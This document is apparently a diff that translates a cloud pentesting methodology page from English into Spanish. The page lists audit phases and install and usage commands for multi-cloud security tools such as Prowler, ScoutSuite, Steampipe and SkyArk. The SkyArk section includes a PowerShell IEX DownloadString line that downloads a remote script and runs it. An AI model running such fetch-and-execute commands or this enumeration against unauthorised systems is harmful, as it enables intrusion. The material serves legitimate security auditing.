env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- **Verificaciones de referencia** +- Esto te ayudará a **entender el tamaño** del entorno y **los servicios utilizados** +- También te permitirá encontrar algunas **mala configuraciones rápidas** ya que puedes realizar la mayoría de estas pruebas con **herramientas automatizadas** +- **Enumeración de Servicios** +- Probablemente no encontrarás muchas más mala configuraciones aquí si realizaste correctamente las pruebas de referencia, pero podrías encontrar algunas que no se buscaron en la prueba de referencia. +- Esto te permitirá saber **qué se está utilizando exactamente** en el entorno de la nube +- Esto ayudará mucho en los siguientes pasos +- **Verificar activos expuestos** +- Esto se puede hacer durante la sección anterior, necesitas **descubrir todo lo que está potencialmente expuesto** a Internet de alguna manera y cómo se puede acceder a ello. +- Aquí estoy tomando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también sobre otros **servicios gestionados en la nube que pueden ser configurados** para estar expuestos (como bases de datos o buckets) +- Luego deberías verificar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿mala configuraciones en el servicio expuesto?) +- **Verificar permisos** +- Aquí deberías **descubrir todos los permisos de cada rol/usuario** dentro de la nube y cómo se utilizan +- ¿Demasiadas cuentas **altamente privilegiadas** (controlan todo)? ¿Claves generadas no utilizadas?... La mayoría de estas verificaciones ya deberían haberse realizado en las pruebas de referencia +- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites preguntarles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador esté asignado a 1 usuario o a 100) +- **No es suficiente encontrar** qué usuarios tienen permisos de **administrador** "\*:\*". Hay muchos **otros permisos** que dependiendo de los servicios utilizados pueden ser muy **sensibles**. +- Además, hay **potenciales caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben tenerse en cuenta y **se deben reportar tantos caminos de privesc como sea posible**. +- **Verificar Integraciones** +- Es muy probable que **integraciones con otras nubes o SaaS** se estén utilizando dentro del entorno de la nube. +- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso a (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\ +Por ejemplo, quién puede escribir en un bucket de AWS del cual GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP al tratar esos datos). +- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente a (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\ +Por ejemplo, si un servicio está utilizando una imagen de Docker alojada en GCR, deberías preguntar quién tiene acceso para modificar eso y qué información sensible y acceso obtendrá esa imagen al ejecutarse dentro de una nube de AWS. -## Multi-Cloud tools +## Herramientas Multi-Nube -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Hay varias herramientas que se pueden utilizar para probar diferentes entornos en la nube. Los pasos de instalación y enlaces se indicarán en esta sección. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Una herramienta para **identificar malas configuraciones y caminos de privesc en nubes y a través de nubes/SaaS.** {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +Soporta **AWS, GCP y Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -125,8 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,42 +124,36 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} ### [Steampipe](https://github.com/turbot) {{#tabs }} -{{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +{{#tab name="Instalar" }} +Descargue e instale Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O use Brew: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Revisar todos los Proyectos +Para revisar todos los proyectos, necesitas generar el archivo `gcp.spc` indicando todos los proyectos a probar. Solo puedes seguir las indicaciones del siguiente script. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Para verificar **otros insights de GCP** (útil para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Para verificar el código de Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Más plugins de GCP de Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Para verificar el código de Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Más complementos de AWS de Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +Requiere python2.7 y parece no estar mantenido. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus tiene un _**Auditoría de Infraestructura en la Nube**_ que admite: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de Host, Direcciones IP) de Proveedores de Nube. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="Segunda Pestaña" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j. {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más, en una vista gráfica intuitiva respaldada por la base de datos Neo4j. {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Instalar" }} ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Descubre los usuarios más privilegiados en el entorno de AWS o Azure escaneado, incluidos los AWS Shadow Admins. Utiliza PowerShell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura de la nube (actualmente solo se admite AWS y Azure, con GCP en camino). +- Es una herramienta de enumeración que está destinada a complementar el pentesting manual. +- No crea ni modifica ningún dato dentro del entorno de la nube. -### More lists of cloud security tools +### Más listas de herramientas de seguridad en la nube - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -448,14 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “gráfico de ataque” de los recursos en una suscripción de Azure. Permite a los equipos rojos y pentesters visualizar la superficie de ataque y las oportunidades de pivote dentro de un inquilino, y potencia a tus defensores para orientarse y priorizar rápidamente el trabajo de respuesta a incidentes. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +Necesitas **Global Admin** o al menos **Global Admin Reader** (pero ten en cuenta que Global Admin Reader es un poco limitado). Sin embargo, esas limitaciones aparecen en algunos módulos de PS y se pueden eludir accediendo a las funciones **a través de la aplicación web**. {{#include ../banners/hacktricks-training.md}} - - - -